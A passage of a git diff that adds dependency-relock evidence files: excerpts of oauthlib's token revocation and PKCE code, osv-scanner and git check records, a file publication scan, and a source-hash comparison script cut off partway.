+oauthlib/oauth2/rfc6749/endpoints/revocation.py:5: An implementation of the OAuth 2 `Token Revocation`_ spec (draft 11). +oauthlib/oauth2/rfc6749/endpoints/revocation.py:6: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:7: .. _`Token Revocation`: https://tools.ietf.org/html/draft-ietf-oauth-revocation-11 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:8: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:9: import logging +oauthlib/oauth2/rfc6749/endpoints/revocation.py:10: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:11: from oauthlib.common import Request +oauthlib/oauth2/rfc6749/endpoints/revocation.py:12: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:13: from ..errors import OAuth2Error +oauthlib/oauth2/rfc6749/endpoints/revocation.py:14: from .base import BaseEndpoint, catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:15: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:16: log = logging.getLogger(__name__) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:17: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:18: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:19: class RevocationEndpoint(BaseEndpoint): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:20: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:21: """Token revocation endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:22: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:23: Endpoint used by authenticated clients to revoke access and refresh tokens. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:24: Commonly this will be part of the Authorization Endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:25: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:26: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:27: valid_token_types = ('access_token', 'refresh_token') +oauthlib/oauth2/rfc6749/endpoints/revocation.py:28: valid_request_methods = ('POST',) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:29: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:30: def __init__(self, request_validator, supported_token_types=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:31: enable_jsonp=False): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:32: BaseEndpoint.__init__(self) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:33: self.request_validator = request_validator +oauthlib/oauth2/rfc6749/endpoints/revocation.py:34: self.supported_token_types = ( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:35: supported_token_types or self.valid_token_types) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:36: self.enable_jsonp = enable_jsonp +oauthlib/oauth2/rfc6749/endpoints/revocation.py:37: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:38: @catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:39: def create_revocation_response(self, uri, http_method='POST', body=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:40: headers=None): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:41: """Revoke supplied access or refresh token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:42: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:43: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:44: The authorization server responds with HTTP status code 200 if the +oauthlib/oauth2/rfc6749/endpoints/revocation.py:45: token has been revoked successfully or if the client submitted an +oauthlib/oauth2/rfc6749/endpoints/revocation.py:46: invalid token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:47: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:48: Note: invalid tokens do not cause an error response since the client +oauthlib/oauth2/rfc6749/endpoints/revocation.py:49: cannot handle such an error in a reasonable way. Moreover, the purpose +oauthlib/oauth2/rfc6749/endpoints/revocation.py:50: of the revocation request, invalidating the particular token, is +oauthlib/oauth2/rfc6749/endpoints/revocation.py:51: already achieved. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:52: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:53: The content of the response body is ignored by the client as all +oauthlib/oauth2/rfc6749/endpoints/revocation.py:54: necessary information is conveyed in the response code. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:55: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:56: An invalid token type hint value is ignored by the authorization server +oauthlib/oauth2/rfc6749/endpoints/revocation.py:57: and does not influence the revocation response. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:58: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:59: resp_headers = { +oauthlib/oauth2/rfc6749/endpoints/revocation.py:60: 'Content-Type': 'application/json', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:61: 'Cache-Control': 'no-store', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:62: 'Pragma': 'no-cache', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:63: } +oauthlib/oauth2/rfc6749/endpoints/revocation.py:64: request = Request( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:65: uri, http_method=http_method, body=body, headers=headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:66: try: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:67: self.validate_revocation_request(request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:68: log.debug('Token revocation valid for %r.', request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:69: except OAuth2Error as e: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:70: log.debug('Client error during validation of %r. %r.', request, e) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:71: response_body = e.json +oauthlib/oauth2/rfc6749/endpoints/revocation.py:72: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:73: response_body = '{}({});'.format(request.callback, response_body) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:74: resp_headers.update(e.headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:75: return resp_headers, response_body, e.status_code +oauthlib/oauth2/rfc6749/endpoints/revocation.py:76: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:77: self.request_validator.revoke_token(request.token, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:78: request.token_type_hint, request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:79: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:80: response_body = '' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:81: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:82: response_body = request.callback + '();' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:83: return {}, response_body, 200 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:84: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:85: def validate_revocation_request(self, request): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:86: """Ensure the request is valid. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:87: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:88: The client constructs the request by including the following parameters +oauthlib/oauth2/rfc6749/endpoints/revocation.py:89: using the "application/x-www-form-urlencoded" format in the HTTP +oauthlib/oauth2/rfc6749/endpoints/revocation.py:90: request entity-body: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:91: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:92: token (REQUIRED). The token that the client wants to get revoked. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:93: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:94: token_type_hint (OPTIONAL). A hint about the type of the token +oauthlib/oauth2/rfc6749/endpoints/revocation.py:95: submitted for revocation. Clients MAY pass this parameter in order to +oauthlib/oauth2/rfc6749/endpoints/revocation.py:96: help the authorization server to optimize the token lookup. If the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py sha256 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:18: def code_challenge_method_s256(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:19: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:20: If the "code_challenge_method" from `Section 4.3`_ was "S256", the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:21: received "code_verifier" is hashed by SHA-256, base64url-encoded, and +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:22: then compared to the "code_challenge", i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:23: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:24: BASE64URL-ENCODE(SHA256(ASCII(code_verifier))) == code_challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:25: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:26: How to implement a base64url-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:27: function without padding, based upon the standard base64-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:28: function that uses padding. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:29: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:30: To be concrete, example C# code implementing these functions is shown +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:31: below. Similar code could be used in other languages. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:32: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:33: static string base64urlencode(byte [] arg) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:34: { +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:35: string s = Convert.ToBase64String(arg); // Regular base64 encoder +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:36: s = s.Split('=')[0]; // Remove any trailing '='s +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:37: s = s.Replace('+', '-'); // 62nd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:38: s = s.Replace('/', '_'); // 63rd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:39: return s; +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:40: } +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:41: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:42: In python urlsafe_b64encode is already replacing '+' and '/', but preserve +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:43: the trailing '='. So we have to remove it. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:44: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:45: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:46: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:47: return base64.urlsafe_b64encode( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:48: hashlib.sha256(verifier.encode()).digest() +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49: ).decode().rstrip('=') == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:50: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:51: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:52: def code_challenge_method_plain(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:53: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:54: If the "code_challenge_method" from `Section 4.3`_ was "plain", they are +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:55: compared directly, i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:56: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:57: code_verifier == code_challenge. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:58: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:59: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:60: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:61: return verifier == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:62: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:63: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:64: class AuthorizationCodeGrant(GrantTypeBase): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:65: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:490: challenge = self.request_validator.get_code_challenge(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:491: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:492: if challenge is not None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:493: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:494: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:495: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:496: challenge_method = self.request_validator.get_code_challenge_method(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:497: if challenge_method is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:498: raise errors.InvalidGrantError(request=request, description="Challenge method not found") +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:499: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:500: if challenge_method not in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:501: raise errors.ServerError( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:502: description="code_challenge_method {} is not supported.".format(challenge_method), +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:503: request=request +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:504: ) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:505: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:506: if not self.validate_code_challenge(challenge, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:507: challenge_method, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:508: request.code_verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:509: log.debug('request provided a invalid code_verifier.') +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:510: raise errors.InvalidGrantError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:511: elif self.request_validator.is_pkce_required(request.client_id, request) is True: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:512: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:513: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:531: request.using_default_redirect_uri = False +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:532: log.debug('Using provided redirect_uri %s', request.redirect_uri) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:533: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:534: if not self.request_validator.confirm_redirect_uri(request.client_id, request.code, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:535: request.redirect_uri, request.client, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:536: request): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:537: log.debug('Redirect_uri (%r) invalid for client %r (%r).', +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:538: request.redirect_uri, request.client_id, request.client) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:539: raise errors.MismatchingRedirectURIError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:540: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:541: for validator in self.custom_validators.post_token: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:542: validator(request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:543: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:544: def validate_code_challenge(self, challenge, challenge_method, verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:545: if challenge_method in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:546: return self._code_challenge_methods[challenge_method](verifier, challenge) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:547: raise NotImplementedError('Unknown challenge_method %s' % challenge_method) +# RevocationEndpoint construction in OAuthlib's own preconfigured servers +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py sha256 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:92: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:93: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:94: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:95: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:145: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:146: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:147: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:148: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:188: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:189: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:190: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:191: IntrospectEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:239: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:240: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:241: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:242: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:282: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:283: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:284: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:285: IntrospectEndpoint.__init__( +oauthlib/openid/connect/core/endpoints/pre_configured.py sha256 bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee +oauthlib/openid/connect/core/endpoints/pre_configured.py:137: RevocationEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:138: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:139: UserInfoEndpoint.__init__(self, request_validator) + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt new file mode 100644 index 000000000..149c945d1 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "cp", "/osv-scanner", "/osv-scanner"] +cwd: +started_utc: 2026-09-30T17:04:35.284986+00:00 +ended_utc: 2026-09-30T17:04:35.506211+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt new file mode 100644 index 000000000..3f1b490c3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt @@ -0,0 +1,13 @@ +argv: ["rtk", "proxy", "/osv-scanner", "--version"] +cwd: +started_utc: 2026-09-30T17:07:03.576430+00:00 +ended_utc: 2026-09-30T17:07:03.658846+00:00 +exit_code: 0 + +stdout: +osv-scanner version: 2.6.0 +osv-scalibr version: 0.5.2 +commit: e840a6e8adb14b7777c78e26cfbf6e2abc1d1fc6 +built at: 2026-09-14T01:44:58Z + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt new file mode 100644 index 000000000..5b41df0da --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "git", "diff", "--check"] +cwd: +started_utc: 2026-09-30T17:19:27.911154+00:00 +ended_utc: 2026-09-30T17:19:27.964658+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-file-publication-scan.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-file-publication-scan.txt new file mode 100644 index 000000000..07b56ee58 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-file-publication-scan.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-commands.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-dependency-comparison.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-frozen-inputs.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-requirements.in.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-identities.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json", "--scan-file", "/blueprints/runtime-workers/openhands/requirements.lock", "--scan-file", "/blueprints/runtime-workers/openhands/pins.json"] +cwd: +started_utc: 2026-09-30T17:25:21.833794+00:00 +ended_utc: 2026-09-30T17:25:22.151766+00:00 +exit_code: 0 + +stdout: +{"scanned_files": 64, "status": "passed"} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt new file mode 100644 index 000000000..f970e6ee6 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt @@ -0,0 +1,67 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-c", "import hashlib,json,sys,tarfile,zipfile\nfrom pathlib import Path\np,site=map(Path,sys.argv[1:3]);results=[]\nfor archive_name,extracts in [('sdk-source.tar.gz',['source','source-repro']),('pyjwt-source.tar.gz',['pyjwt-source'])]:\n with tarfile.open(p/archive_name,'r:gz') as a:\n for extraction in extracts:\n compared=0;mismatches=[]\n for member in a.getmembers():\n if member.isfile():\n compared+=1;target=p/extraction/member.name\n if not target.is_file() or target.read_bytes()!=a.extractfile(member).read():mismatches.append(member.name)\n results.append({'archive':archive_name,'archive_sha256':hashlib.sha256((p/archive_name).read_bytes()).hexdigest(),'extraction':extraction,'original_regular_files_compared':compared,'mismatches':mismatches})\nwheel=p/'pyjwt-2.15.0-py3-none-any.whl';compared=0;mismatches=[]\nwith zipfile.ZipFile(wheel) as z:\n for n in z.namelist():\n if n.endswith('.py'):\n compared+=1\n if 